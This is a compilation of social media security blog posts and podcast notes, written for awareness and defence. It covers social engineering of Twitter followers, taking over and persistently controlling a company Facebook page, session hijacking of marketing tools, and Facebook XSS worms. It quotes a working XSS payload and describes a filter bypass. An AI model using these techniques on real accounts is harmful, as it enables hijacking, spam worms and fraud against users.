As always, feel free to distribute this guide to friends and family!  Happy Thanksgiving!

Download v3.0 of the Facebook Privacy & Security Guide here

• Locked Out Of Facebook? Your Friends Will Soon Be Able To Help You Get Back In
• Anti-Facebook Social Network “Unthink” Launches To Public
• Most social networks users don’t keep up with privacy settings changes
• Facebook video games are stupid, anyway

I choose a volunteer out of the crowd.  Usually a nice looking woman because…why not.  I give a hypothetical situation.  We were dating and things are starting to get serious.  So serious that I take her to meet my mom for the first time. While we are at my ma’s house, I introduce her to my new brother-in-law.  My brother-in-law was in charge of bringing the dinner rolls and once again forgot.  He asks her to go to the Italian (not french) bakery down the road with him to get these rolls.  She says yes.  While they are picking up the rolls he notices that he forgot his wallet and asked her for $4.98 to cover the rolls.  She just happens to have $5.00 in her left pocket.

Would she give him the $5.00 and why?

The answer has always been “yes” and because he is associated or was introduced to her by me.  There is an applied level of trust set prior to them going to the bakery.  Well this level of trust in my opinion can be accomplished within twitter.  If I follow you and we start having a friendly conversation(your favorite sports team) I will then go after your friends and family for a small amount to help me with my “cure/run/walk”.  All I have to do is introduce myself as your friend as they can see our past conversations in twitter.  I  have had a over 90% success rate of getting their followers to click my cause link.  This success is based on the applied trust between two strangers.  So although it is really #kwel to have 70,000 twitter followers it can also cost your friends and family $4.98

For more information feel free…info@unixbox.ws

The policy of company ACME is “no social networking allowed” on internal networks.  Sites are being blocked at the firewall with rules and enforced with a content filtering tool. IT/Security has done its job with social media, right? BUT an exception is made for Marketing because they are special people. A FB page was created as well as an E-Commerce app installed without consulting IT/Security. I know this because after taking over the FB page using our friends Cain and Able, I replaced just one of the “buy now” buttons to redirect it my site and used analytics to see how many people clicked this button.  Showing this to Director of IT he replied “I didn’t even know we had a FB Page.”

Part 2

After this meeting we agreed to stop and allow IT/ Security to be a part of the implementation of this new e-com solution and lock down this new site.  After a couple of months we were given the green light that all social media was secure and our attacks would now #fail.  Well they were wrong!  Here is what happened;  Technology constantly changes and therefor we should also be constantly training/testing these changes.  Yes, all https was checked.  Yes, they read www.socialmediasecurity.com on a regular basis.  But they forgot to monitor their social media accounts like they would an email server.  There is still a core failure in my opinion of Facebook pages.  Who?!? owns the data and when is it okay to monitor the admins personal accounts? Because these users of the pages still enjoy using Facebook for personal use. They do not apply the corporate rules to their personal accounts nor should they if that is how they live.  So, we are either forced to create fake accounts or all share one admin account.  Well with our testing we are still targeting the admins of these pages.  There are many many ways to gain access to their accounts and once in, we only have to create our own evil twin account to keep access.  Example: if Bob Alice is the admin of the page just create another Bob Alice and copy the information including the  profile imagine and allow this new user admin rights to the page.  Most common users will just think this is a Facebook glitch and it is showing their profile twice. But in reality it is a way for us to keep a constant admin account to this system.  If you maintain a Facebook page you know that admins just lose their rights to the page all the time out of the blue.  So constantly adding the same person is a regular process.  If the company was monitoring its data it would see these changes or see that there were in fact 2 different accounts attached to this page.  But we are not monitoring these accounts, yet. Social media security can be a full time job depending on the risk and frequency of the sites.   For more information feel free as always to email me.  info@unixbox.ws

• Google + Security and Privacy
• New Facebook Privacy Controls, what’s changed?
• New Tool: FBPwn- A cross-platform Java based Facebook profile dumper

For a while now, I have been keeping an eye out for technologies that might help organizations leverage social media securely, within an Intranet environment for business purposes. Recently, I came across a success story about the Canadian Medical Association’s recent implementation of a social Intranet using an out-of-the-box product by ThoughtFarmer. That article (posted on the ThoughtFarmer blog) tapped the CMA project leader, Tanis Roadhouse, for tips on some of the key points in her blue-print for the CMA site’s implementation. So, I decided to check into the story.

The article showed that Tanis, while not being a life-long IT project leader, was pretty well organized, and showed some thought leadership. Here’s a summary of her 7-point blue-print for building a social intranet:

1. Start with an inspiring vision: the value of a collaborative culture
2. Secure executive support
3. Pick a name that matters
4. Gather requirements to learn the business
5. Partner with IT early
6. Treat content owners like royalty
7. Embrace continuous improvement

Click HERE for the entire article.

For each point, the article provides some detailed explanations. I followed up with Tanis via Twitter to see where Risk Management and IT Security fit in, since they weren’t explicitly listed in the explanations. For the most part, she said they addressed these issues in the IT liaison step.

Tanis did mention (over Twitter) that, because the organization is heavily oriented toward finance, a Risk Assessment was performed in order to protect client data. The assessment concluded that there was, “Limited risk, as it is an Intranet site”, and that “Risk to clients was reduced through governance policies.”

I should point out here that you can not infer that an intranet site will be secure simply because you have good governance policies. Any organization that takes on any IT project that will be deployed on their network (internal or external) should do a thorough risk assessment, and use its recommendations to strengthen any identified vulnerabilities. This may result in strengthening policies, technical safeguards, procedures, personnel screening, roles and responsibilities or training. (Disclaimer: I harp on this stuff because it’s a big part of what I do for my clients.)

I think the lesson here is that organizations are starting to see value in using social media tools that they keep under their own control. In the early years of Facebook and Twitter, I saw some organizations embracing the publicly available tools to initiate internal collaboration, which was (and still is), generally a bad idea. This kind of thing led to hackers employing social engineering tactics to join “employee groups” and learn way too much about the vulnerabilities inside the company’s walls and networks, which of course, leads to data breaches.

Now, with some real implementations we can talk about, I’m hoping to get a closer look at how these tools can be deployed securely in an environment where you’re not sharing sensitive corporate data with 700 million of your closest friends (e.g. as would happen on Facebook).

I should also mention that the ThoughtFarmer blog also seems to be a good source of thought leadership. Not only are they kindly publishing meaningful success stories, but they also demonstrate an understanding of how to use social media to help others think through their problems. One of their subsequent posts has a list of “81 Intranet Governance Questions to Ask Yourself.” (Click HERE)

I’m encouraged by this kind of leadership, both in the vendor community (as demonstrated by ThoughtFarmer) and among the project initiators like Tanis. I hope to follow their progress in the future and share any tips I learn with you.

Steve’s conclusions are very compatible with my usual prefered strategy for choosing passwords – like using the first characters from a song or movie quote, and adding some special characters and numbers. But his advice is interesting about how simple the basic password root can be, and how to easily make it much stronger. It’s pretty cool and simple.

The bottom line is that by adding length to a good, short password (regardless of whether or not they are repeated characters or patterns) you will massively improve resistance to a brute force attack. This is because today’s attacker doesn’t know how long the password is, for sure, and will always start with the easy dictionary words and patterns, and then they will move to the shortest possible character combinations in a brute force attack, followed by the next shortest combinations, and so on… 

As an example, using this logic, a 23 character random password is not “usefully” stronger than a 3 character random password with 21 repeated characters. 

There are some minor caveats in using this approach, to keep the passwords strong, such as having at least one lower, one upper case, one number and one special character in the root of the password. The rest of the characters don’t really matter, as long as you don’t reveal what pattern you use in the repeated characters or patterns.

For example “..B.o.B……….” is a pretty good password, since it would take at least 2 billion centuries with massive cracking array scenario to go through all combinations. So, you don’t need a very long song title or movie phrase. You simply need to keep your simple pattern or strategy a secret.

The Security Now podcast episode (in text or audio format) where the rationale for this approach is described is at the following link:

http://www.grc.com/securitynow.htm (look for Episode 303)

Steve also has a web page that analyzes passwords in terms of how long a given password can be expected to stand up to various brute force attacks. You don’t have to enter your real password, but try entering something that has the same length, and number of upper, lower case, numbers and special characters as your real password, and see how long it would take an attacker to try all combinations using a brute force approach.

http://www.grc.com/haystack.htm

If you aren’t convinced, or if you want to learn more, post a question or comment below.

Something to ponder…

- Scott

I am now offering monthly briefings, tailored to organizations that want to build and sustain security awareness for staff. Just because your security team is too busy to do its own training and awareness doesn’t mean you can’t have an economical way to address human security risks. Please call or email me at the coordinates below…

Scott Wright

The Streetwise Security Coach

Join the Streetwise Security Zone at:
http://www.streetwise-security-zone.com/join.html

Phone: 1-613-693-0997
Email: scott@streetwise-security-zone.com
Twitter ID: http://www.twitter.com/streetsec

To receive weekly security tips and other notices about helpful content available on this site, please make sure you are on my list by clicking HERE, and entering your name and email address.

The policy of company ACME is “no social networking allowed” on internal networks.  Sites are being blocked at the firewall with rules and enforced with a content filtering tool. IT/Security has done its job with social media, right? BUT an exception is made for Marketing because they are special people. A FB page was created as well as an E-Commerce app installed without consulting IT/Security. I know this because after taking over the FB page using our friends Cain and Able, I replaced just one of the “buy now” buttons to redirect it my site and used analytics to see how many people clicked this button.  Showing this to Director of IT he replied “I didn’t even know we had a FB Page.” Part two is coming…but I leave you with this..

Who is in charge of these buttons?  Have these tools been tested and approved by IT/Sec before you took the 6 mins to install on your facebook page? What permissions are you giving this solution? HEY! IT/Sec does your company have a FB page?  Have you seen it lately? Is it part of your compliance testing?

I know firesheep has lost its shiny coin syndrome with most but the attack is still working quite well in the field.  While the readers/listeners have been doing a good job of enabling secure browsing options in Twitter and Facebook, we still have a long way to go. Please keep spreading the word and keep pleading to social networking sites to enable secure browsing by default.  So, Why the “Firesheep’s Revenge” title?  Well these last month’s, a couple of us have been testing common social media monitoring (SMM) tools.  These tools are generally used by small businesses, internal marketing, or external marketing companies to help update social media accounts without the hassle of logging into every social networking site individually.  We have been testing these SSM’s and found that:

http://hootsuite.com/dashboard#
http://sproutsocial.com/dashboard
http://standard.cotweet.com/channels#

Are not using secure browsing by default, allowing us to hijack sessions.  What does this mean? Well by adding your social media accounts into these SMM tools, you are granting the tool permission or full control over that account(s). By gaining control over the tool we are bypassing all the hard work you did by enabling secure browsing in each of your twitter and facebook accounts.  Try explaining to the VP of Marketing that even though you checked the “defeat firesheep” box it still works. And not only will it work on Facebook/Twitter but now LinkedIn, Foursquare, ping.fm and Ning accounts all in one interface. Most of the time we were looking at full access to the corporations social media strategy. So, we are right back to where we started, teaching the user that security is usually the last thing on the mind of these rapid development firms. If you do not see the option of “secure browsing”, then please be careful of where you update your social media accounts. Ask your tool makers where this option is located.  If they do not have this option then maybe you should look for another tool.

James F. Ruffer III
Unixbox
@jruffer

The first issue came from a page on the mobile version of Facebook’s site. The interface was a prompt for posting stories to a user’s wall, and the parameter for the text of the prompt did not properly escape output. On March 28, a blogger identifying themselves as “Joy CrazyDaVinci” posted code that demonstrated how the vulnerability could be used to spread viral links:

<iframe id=”CrazyDaVinci” style=”display:none;”
src=”http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’<script>window.onload=function(){document.forms[0].message.value=’Just visited http://y.ahoo.it/gajeBA Wow.. cool! nice page dude!!!‘;document.forms[0].submit();}</script>”></iframe>

This bit of HTML would be included in a viral page. The code sets the content of the wall post to a message that includes a link to a viral page, then submits the prompt automatically. Anyone clicking the link would get the same code executed on their account. The viral page could be used for malware distribution or phishing attacks, but in most cases where I saw this trick used, the page simply loaded advertisements or “offer spam”.

By the next day, several links were spreading virally and caught the attention of security researchers. Facebook moved quickly to patch the issue, and Crazy DaVinci issued an apology for the example code, explaining that versions of it had actually been circulating for several days prior and that the demonstration was intended to push Facebook for a fix.

On April 3, another XSS problem came to light, this time with a Facebook “channel” page used for session management. Both another security researcher and I had previously looked at this interface and found it properly escaped, so it’s likely a code update mistakenly changed the page’s behavior. Facebook again patched the problem soon after news of it spread.

I didn’t observe any viral exploitation of the second vulnerability in the wild, but after the first problem came to light, I noted that it was mostly used to submit a form already on the page for posting links. The payload made use of functionality within the vulnerable page, but XSS allows an attacker to do far more. I wondered when we might see a Facebook attack that made greater use of cross-site scripting’s potential.

What a Difference a Space Makes

I didn’t have to wait long. On April 7, I got word via Twitter of a Facebook app that had live XSS, but the app had disappeared before I got to see it in action. At first, I thought this was yet another case of XSS within the context of a Facebook app. But I soon found other version of the app which were still online, and I quickly realized this was actually an XSS problem with the Facebook Platform. Also, the XSS payload being used did much more than submit a form.

The attack used FBML-based Facebook apps, which render in the context of an apps.facebook.com page. Normally, Facebook filters code to prevent any scripts from directly modifying the page’s DOM, but the XSS problem gave attackers a bypass. When a user visited the app page, they would see what appeared to be a fairly benign page with a popular video.

Unlike many Facebook page scams, the promised video actually works – if you click play, the video will load and nothing unusual seems to happen. But as the code screenshot below reveals, that click does much more than load the video.

When the page first loads, the “video” is actually just an image placeholder with a link. Part of the href parameter for that link is shown above. Note the space after the opening quotation mark – that’s where the XSS comes in. Normally, Facebook would block a link to a javascript: URL. Adding the space worked around Facebook’s filters, but the browser would still execute the rest of parameter.

According to Facebook, it turned out that some older code was using PHP’s built-in parse_url function to determine allowable URLs. For example, while parse_url(“javascript:alert(1)”) yields a scheme of “javascript” and a path of “alert(1)”, adding whitespace gives a different result: parse_url(” javascript:alert(1)”) does not return a scheme and has a path of “javascript:alert(1)”. Other PHP developers should take note of the difference if parse_url is being used in security-related code.

A More Advanced Attack

Clicking the link executed an inline script that in turn added a script element to the page. This loaded more code from a remote address and included several parameters in the GET request. The parameters set variables within the remote code that specified what video to load, what URLs to use for viral posts, and so on. Multiple Facebook apps and domains were used for the viral links, but the main script always came from the same host. This helped the attack persist, since blocking one site would not stop it and the central code was loaded dynamically.

The remote code handled actually loading the video, but also included a number of functions which make use of having script access in a facebook.com context. The script would set the user as attending spam events, invite friends to those events, “like” a viral link, and even send IMs to friends using Facebook Chat.

When I came across the attack, one block of code had been commented out, but one blogger discovered a version of the attack a few days prior and saw it in action. This part loaded a fake login form which actually sent the entered username and password to a log interface on the attacker’s server. (Remember, this phishing form would appear in the context of a page with typical Facebook chrome.) Since the attack page would load even if a user was not logged in to Facebook, this could have also been a way to make sure a session was available before launching the other functions.

Fake videos and viral links are nothing new on Facebook, but most of these scams tend to be fairly simple. In fact, it’s not hard to find forums where people offer boilerplate code for launching such schemes – much like the first XSS worm above which simply submitted a form. But the April XSS attack involved multiple domains, multiple user accounts, and multiple methods for spreading and hijacking user accounts. And it still only scratched the surface of what’s possible with an XSS vulnerability. I expect we’ll see more XSS-based attacks and more powerful payloads in the future.

Postscript on Real-Time Research

I came across the April attack late one afternoon as I was preparing to leave work… so I could present on XSS at a local OWASP meeting! Those following me on Twitter saw a somewhat frantic stream of tweets as I tried to find live examples of the attack and sorted through the code while closely watching the clock and wrapping up last-minute presentation details. Earlier this week, I did some searching to review information for this post, and I came across this article from eWEEK: “Facebook Bully Video Actually an XSS Exploit“.

I was a bit surprised by it, as I hadn’t known about it before and saw that it quoted me. I then realized it was quoting my tweets! I then read that I had “confirmed to eWEEK on Twitter” one aspect of the story. At first I was confused, but then remembered that during my flood of tweeting, another user had sent an @ reply asking about the very detail the story talked about. Checking that tweet again, I found out the question had come from the article’s author.

I relate all this not because any of it bothered me, simply because (1) I found it somewhat fascinating that a few quick Twitter updates could become the primary source for a news article and (2) I was humbled to realize that a few quick Twitter updates could become the primary source for a news article! While it’s great that a story can spread so fast, it was certainly gave me a reminder to be careful when discussing topics of interest on a public forum. But I’m glad I can do my part in helping raise awareness of online dangers, particular the implications of XSS.

“Social networks have jumped onto the geolocation bandwagon with location-based tweets, status updates, check-ins, mayorships, and more. This doesn’t take into account EXIF, QR codes, and advancements in HTML 5 geo implementations, which are being built into these location-based services. This is often implemented and enabled without the user even knowing it. In fact, geolocation is one of the hottest technologies being used in everything from web browsers to mobile devices. As social networks throw our location coordinates around like candy, its only natural that bad things will happen and abuse will become more popular. This presentation will cover how social networks and other websites are currently using location-based services, what they plan on doing with it, and a discussion on the current privacy and security issues. We will also discuss the latest geolocation hacking techniques and will release custom code that can abuse all of the features being discussed.”

Slides are on SlideShare below:

• Why Should the CSO Care About an Employee’s Personal Social Media Account?
• Virally spreading scam spreads over Twitter (ProfileSpy)
• Spammers Using Facebook Events to Trick Users
• ‘Cree.py’ Social Engineering Tool Pinpoints A Person’s Physical Location
• US Military plan would create many fake Social Media Identities for use in fighting terrorism
• What the app privacy investigation means to you

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes and follow us on Twitter.  Thanks for listening!

Facebook Pages security is basically in the hands of the personal accounts of the admins.  This is one reason why the CSO should care…

To Facebook’s credit, Facebook has made considerable strides over the last few years by implementing new security and privacy controls as well as getting the Facebook security team more visible.  Some of the newer implementations, such as full site SSL and social authentication, will continue to improve the security of Facebook.  Unfortunately, many of these myths will still persist.  This is because users will believe what they want to believe despite new controls and efforts being put in place by Facebook.

Facebook Application Myths

Myth: All Facebook applications are created and managed by Facebook.
Reality: Facebook applications are not developed or maintained by Facebook.  They are all developed, maintained, and managed by third-party companies.  Facebook simply provides an API (Application Programming Interface) for developers to “interact” with Facebook and its data.  For example, Farmville is created by the company Zynga.  Zynga only uses the Facebook API to interact with Facebook.  One common misconception is that these applications “look and feel” like they are part of Facebook so the applications can be trusted.  This is not true.  The Facebook API is designed to allow seamless integration so it provides users with a more integrated Facebook experience. To make matters worse, Facebook recently announced that they will now allow iframes within page tab applications.  This means that a malicious developer can easily do things like redirect users to malicious web sites or use JavaScript to do a host of other things to the user.

Myth: Facebook reviews all applications for security vulnerabilities, scams, or frauds.
Reality: In general it would be very difficult with Facebook’s current application developer model to review the code for all Facebook applications.  According to Facebook’s official statistics, people on Facebook install 20 million applications every day and according to an older statistics page I found dated November 2010 there were approximately 550,000 active applications.  This is an extremely large amount of applications to check for security issues.  This problem also becomes more challenging when developers release new code or updates to existing applications.  How is Facebook currently addressing this issue?  Facebook made a statement in this recent InformationWeek article talking about how they review applications.  Facebook claimed to have a dedicated security team that “does robust review of all third-party applications, using a risk-based approach.”

“That means that we first look at velocity, number of users, types of data shared, and prioritize,” the statement read. “This ensures that the team is focused on addressing the biggest risks, rather than just doing a cursory review at the time that an app is first launched.”

In other words, they look at applications that fall into specific categories because it would be near impossible to check every single application.  There is also no mention if Facebook conducts a code review of applications selected for review.  The bad news, of course, is that once Facebook shuts down one rogue, malicious application another one is easily right behind it to take its place.

Myth: Facebook applications don’t have typical web security flaws.
Reality:  Facebook applications can be developed insecurely just like any other web based application.  In fact, in 2009 security researcher theharmonyguy conducted the “Month of Facebook Bugs” exposing security flaws in many of the popular Facebook applications at the time.  These flaws included XSS (Cross-Site Scripting) which can be used to attack the users of applications, SQLi (SQL Injection) which can be used to extract personal or private information from the database of applications, and ClickJacking or LikeJacking which can be used to initiate actions without the user’s knowledge. 

Myth: Facebook is responsible for any information you provide to Facebook or third-party applications.
Reality: This is a tricky one.  At the end of the day, you’re responsible for what you post and any information you provide Facebook or third-party applications.  There is no guarantee that Facebook or third-party application developers will not misuse or sell your information.  This has happened in the recent past.

Myth: Facebook allows developers to do whatever they want with their applications and can collect your personal information.
Reality: Facebook has certain policies that you can read for yourself about what a developer can or can’t do.  It’s important to note that Facebook used to be more restrictive with these rules in the past.  For example, application developers could only keep personal data collected for 24 hours.  Facebook has now removed this restriction and has relaxed many other policies so it’s easier for developers to integrate with Facebook.  Having said that, it’s hard for Facebook to truly “enforce” these policies unless a malicious application is reviewed by them or it’s reported to the Facebook security team.  It’s a battle that is going to be very hard to win based on the current way Facebook allows applications to be developed.

Facebook Privacy Myths

Myth: Facebook reviews all third-party companies that collect your personal information.
Reality: In certain cases like when your friends visit an “Instant Personalization” partner like Yelp and the third party can see your information the Facebook privacy policy states that “we require these websites and applications to go through an approval process, and to enter into separate agreements designed to protect your privacy.”  What that means is up for debate but what we do know is that you should be cautious when using Instant Personalization as you may be revealing information about your friends as well.

Myth: Facebook takes user privacy seriously.
Reality: Facebook will try to tell you that they do take your privacy seriously as noted in their privacy policy.  However, Facebook also has a vested interest in collecting your information.  After all, it’s how they make money.  Double edged sword?  It certainly is!  The more information you share the more valuable you are to Facebook.  You should always take your privacy on Facebook seriously as they may not always have your best interest at heart.

Myth: Facebook has very little privacy controls.
Reality: This is false.  In fact, Facebook has made great strides over the years in providing its user base with easier to use privacy controls.  I’ve seen this myself while putting together my Facebook Privacy & Security Guide over the years.  The problem has become that many users don’t know where these settings are or how to use them.  Facebook also hasn’t done a great job of communicating changes to privacy settings in the past.  Users of Facebook and computer users in general have become immune to pop-ups and hard to read sign-in notifications.  It’s simply become easier for users to just “click through” so they can get to what they want in Facebook.

Myth: Facebook makes it easy for users to delete their accounts.
Reality: The truth is that the process of deleting your Facebook account has gotten only slightly better over the years but still remains a confusing one.  For example, here is one guide that walks you through the procedure.  Facebook still has account “deactivation” as the first step in the account deletion process, which many users still find confusing.  Many users are also confused between “deactivation” and “deletion.”  Others think that by successfully deleting their account all the information including pictures they posted are removed from Facebook forever.  While Facebook may say they remove all of your information, you still can’t stop others from copying it or saving those party pictures of you to their hard drive.  The rule to remember is that once you post something on Facebook, you should always think of it as public information.

Facebook Security Myths

Myth: Facebook scams are mostly variations of the same one over the years.
Reality: Many of the Facebook scams found are simple variations of text messaging, promotion give-a-ways (iPads, iPods [insert latest hot gadget here]), who visited your profile (ProfileSpy), and improvements to existing Facebook services like chat and instant messaging.  In fact, one scam I blogged about over a year ago is still being used today.  The basic rule to remember is that if something is popular in our culture, such as tech products that everyone wants, it’s most likely going to be used for scams and frauds.  Remember the old rule: if it sounds too good to be true, it probably is.

Myth: I can’t get a virus or malware by using Facebook
Reality:  All it takes is clicking on a malicious link from one of your friends, installing a rogue application, or falling for one of the many scams that offer “free” stuff.  Facebook is doing a better job of cleaning up malicious links and other related activity.  However, the Koobface worm and associated variants are still a problem and adapt well to attempts by Facebook to rid them from the platform.

Myth: I can trust my friends on Facebook because they would never send me anything malicious.
Reality: It’s always nice to trust your friends but this gets complicated on Facebook.  Social Network worms such as Koobface as well as hijacked or stolen accounts are frequently used to social engineer Facebook users to click on a link or send money to foreign countries.  All of these scams exploit the trust relationships that you have with people you know.  It’s a simple and highly effective technique that’s still being used today.

Myth: Facebook does not have a security team or a way to report security issues/SPAM/scams.
Reality: Contrary to popular belief, Facebook does have a security team and ways to report security and privacy issues.  In the past, many of these types of requests would have met the infamous “Facebook Blackhole” in which emails or support requests were never answered.  Recently, there have been many improvements to help communicate the presence of this team.  For example, you can “like” the Facebook security page, report a compromised account, learn how to report security vulnerabilities, as well as get good tips on what to do when you see security issues.

Why would a business want private social networking tools? Isn’t that an oxymoron?

I believe that enterprises can and will eventually begin to use “internal” or “private” social networks to allow for easier real-time collaboration, while avoiding some of the risks of the “public” social networks – such as social engineering attacks, Koobface attacks, etc. I’d really like to learn more about what the options are for businesses to deploy their own social media tools internally, or in a private cloud. Internal deployments would probably tend to be more secure, with potentially more control over access and authentication of users. But a cloud-based implementation by a trusted service provider might also be quite secure. Either way, the facility would be less of an easy target for attackers.

Have you seen or heard of such a thing? If so, where can I learn more about them? Doing a Google search turns up many hits, but I’d like to hear about some success stories and reviews of these kinds of solutions that could benefit the members of the Streetwise Security Zone as we try to figure out how to leverage the power of social media, in a secure and efficient way.

Also, what are your thoughts? What would it take for enterprises to be able to use social networks and social media tools securely? 

I am now offering monthly briefings, tailored to organizations that want to build and sustain security awareness for staff. Just because your security team is too busy to do its own training and awareness doesn’t mean you can’t have an economical way to address human security risks. Please call or email me at the coordinates below…

Scott Wright

The Streetwise Security Coach

Join the Streetwise Security Zone at:
http://www.streetwise-security-zone.com/join.html

Phone: 1-613-693-0997
Email: scott@streetwise-security-zone.com
Twitter ID: http://www.twitter.com/streetsec

To receive weekly security tips and other notices about helpful content available on this site, please make sure you are on my list by clicking HERE, and entering your name and email address.

• Skype credit email as an apology – a new trend we can expect in 2011 from good guys and bad guys.  Screen shot mentioned in the podcast.
  Scott’s note: I searched for posts about this email before clicking on it, and it was actually legitimate. However, this would be a very compelling phishing attack for any organization that recently suffered a PR setback. Any time you get an unexpected email, even if it looks like the circumstances make sense, you need to check on its authenticity. And any organization issuing such an Email should also post an announcement of the campaign on their home page, and issue a press release to make it easy for people to verify the legitimacy of the email.
• Bruce Schneier’s taxonomy of social network personal data
• Facebook now tells you about people you know who have found friends using their Friend Finder
  Scott’s note: I always tell people never to enter their email address and password on sites that aren’t their email service. You don’t know what they will do with your password, or if it might be captured. It also exposes your friends to potentially unwanted email messages – e.g. spam.
• Facebook Lets Developers Ask a User for Their Address, Phone Number in the Graph API
• Twitter Worm Pushing Rogue Antivirus Scam

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes and follow us on Twitter.  Thanks for listening!

• Trolls who deface Facebook RIP pages of teens who have died
• Canadian Mounties LIKE Cookie Monster Audition for SNL
• Facebook becomes divorce lawyers’ new best friend
• Vulnerabilities in Facebook Apps (nothing new but still a problem)
• Gawker breach and implications.  Ryan Naraine had a good set of tips at Threatpost.com.
• Facebook Profile Changes: What You Should Know
• Zuckerburg man of the year?

At first, I started to think Facebook was simply looking to extend its reach by acting as an invisible layer of sorts. Anil Dash once talked about Facebook melting into the larger Web, but perhaps Facebook would end up becoming part of the underlying fabric of the Internet. In past public appearances, Facebook CEO Mark Zuckerberg seemed to be the kind of person who was content to remain in the background, and the company’s strategy seemed to reflect a similar style. I’ve mentioned before the idea of Facebook becoming and identity layer on the Internet, and innovations such as their Graph API have made it easier than ever for sites to integrate with Facebook.

But Facebook’s updated Groups feature changed my perspective, since it added functionality that would drive users back to facebook.com. Of course, the upgrade did enable e-mail as a way of interacting with groups. In some ways, Facebook’s overall strategy could be compared to Google’s. Years ago, many sites focused on “stickiness,” trying to keep users hooked. By contrast, Google drove users away by providing relevant links to other sites. But to see Google as non-sticky would be an oversimplification. In fact, the company built a successful ad network that extended its reach across the web. Also, Google has created a number of other products that many people stay logged into, such as Gmail.

And now, people are expecting Facebook to announce a web-based e-mail client that will compete with Gmail. I’m predicting that Facebook will roll out a new messaging system, but it won’t be a Gmail clone or simply another client for managing traditional POP/IMAP e-mail. That’s not to say there won’t be any e-mail gateway, but I think Facebook’s plans will go much further. I’m guessing that at least part of the new system will involve somehow extending private messaging features across Facebook-integrated websites.

In any event, I think Facebook’s announcement will include at least a few surprises for those who have been discussing the possibilities. Facebook has a history of introducing features that aren’t quite what people expected – and often end up leading to practical implementations of ideas that were previously niche experiments. Personally, I think it’s a bit short-sighted to think that Facebook would simply join the market for web-based e-mail without trying to reinvent it, especially given the service’s cautiousness about past features that allowed or potentially allowed spam-like behaviors.

Facebook has also been accused many times of somehow standing in opposition to “openness.” Personally, I think the term has become a buzzword that’s often used without much specificity. And even though I’ve often been a critic of Facebook, I do think many of the accusations aren’t entirely fair. From RSS feeds to developer APIs, Facebook has opened up data in ways that many other sites can’t claim. Today’s Facebook is certainly far more “open” that years ago – in fact, I would argue that the site has at times been too open lately, such as when some user data became reclassified as “publicly available” last fall. But regardless of Facebook’s degree of openness, the company has always been careful to maintain a high degree of control over information and features on the site. This can be positive, such as quickly removing malware links, or negative, such as controversial decisions to bar users or certain content.

Either way, that control has helped the site build a powerful database of profiles that generally reflects real people and real relationships. That’s part of what fascinated me about the site’s recent spat with Google over contact information. In the past, a list of e-mail addresses was about the only semi-reliable way to identify a group of people across the Internet. Now, many sites rely on Facebook’s social graph for that function. In terms of identity, the value of e-mail addresses has declined, and I don’t think exporting them from Facebook would provide as much value as Google might think. On the other hand, Google may realize this and be so concerned about the shift that they’re trying to curb Facebook’s influence. This would especially make sense if Google intends to introduce a more comprehensive social networking product that would need e-mail addresses as a starting point. Regardless, I’m sure Google feels threatened by the prospect of Facebook providing a better alternative to traditional e-mail – a change that would only bolster the value of a Facebook profile as the primary way to identify a typical Internet user.

However, that’s not quite the case. Back in March, I published a guide to exporting data from Facebook using various tricks and FQL queries. Facebook has since made changes and added tools which have made the post a bit outdated, but much of the information still applies. In particular, I described using Yahoo’s contact import tool to download an e-mail address book for all your Facebook friends. This technique relies on a Facebook-approved feature and should not violate the site’s terms of service. A few specific steps have changed a bit, so I’ll recap the process here.

First, you need to have a Yahoo! Mail account. If you don’t already have one, you can create one for free. In fact, I’d advise creating a new account to avoid your Facebook friends’ e-mail addresses getting mixed up with any others already in your address book.

1. To add your friends’ e-mail addresses to your Yahoo! Address Book, follow the steps given on this page at the Yahoo! Mail blog. Essentially, you open Contacts, click on “Tools,” then “Import,” choose “Facebook,” and follow the steps. You will have to authorize a Facebook application built by Yahoo! for this purpose.
2. To save a local copy of these addresses, you can use the export tools in Yahoo! Address Book. Return to your Contacts, once again click “Tools,” and this time select “Export.” You’ll be presented with a list of programs, each with an “Export Now” button.
3. If you’re not sure which you should choose, I would recommend clicking the button next to Microsoft Outlook. You may have to enter a code a CAPTCHA code, but you’ll then be prompted to save a file in CSV format. This is a fairly standard way of saving contact information.
4. Once you’ve downloaded the file, you can use it to import your contacts into other places, including Outlook. You can also open the file in Microsoft Excel to view the contact list or make changes.

The report generated controversy across the Web, and some reactions were strongly negative. On TechCrunch, Michael Arrington dismissed the article as alarmist and overblown. Forbes’ Kashmir Hill surveyed other responses, including a conversation on Twitter between Jeff Jarvis and Henry Blodget, and expressed skepticism over the Journal’s tone.

I’ve been a bit surprised by the degree to which some have written off the Journal’s coverage. Some may disagree with the label of “privacy breach,” but I thought the report laid out the issues well and did not paint the problem as a conspiracy on the part of Facebook or application developers. Either way, I’m glad to see that the article has sparked renewed conversation about shortcomings of web applications and databases of information about web users. Also, many may not realize that information leakage on the Facebook Platform has historically been even worse.

Information leakage via a referrer is not a new problem and can certainly affect other websites. But that doesn’t lessen the significance of the behavior observed in the WSJ investigation. Privacy policies are nearly always careful to note that a service does not transfer personally identifiable information to third parties without consent. Online advertising networks often stress the anonymity of their tracking and data collection. The behavior of Facebook applications, even if unintentional, violated the spirit of such statements and the letter of Facebook’s own policies.

Some people downplayed the repercussions of such a scenario on the basis that it did not lead to any “private” profile information being transferred to advertisers – a point Facebook was quick to stress. Yet when did that become the bar for our concept of acceptable online privacy? Should other services stop worrying about anonymizing data or identifying users, since now we should only be concerned about “private” content instead of personally identifiable information? Furthermore, keep in mind that Facebook gets to define what’s considered private information in this situation – and that definition has changed over the last few years. At one time in the not-too-distant past, even a user’s name and picture could be classified as private.

Many reactions have noted that a Facebook user’s name and picture are already considered public information, easily accessed via Facebook’s APIs. Or as a Facebook spokesmen put it, “I don’t see from a logic standpoint how information available to anyone in the world with an Internet connection can even be ‘breached.’” But this argument fails to address the real problem with leaked IDs in the referrer. The issue was not simply what data applications were leaking, but when and how that data was leaked. The problem was not that advertisers could theoretically figure out your name given an ID number – it’s that they were given a specific ID number at the moment a user accessed a particular page. Essentially, advertisers and tracking networks were able to act as if they were part of Facebook’s instant personalization program. Ads could have theoretically greeted users by name – the provider could connect a specific visit with a specific person.

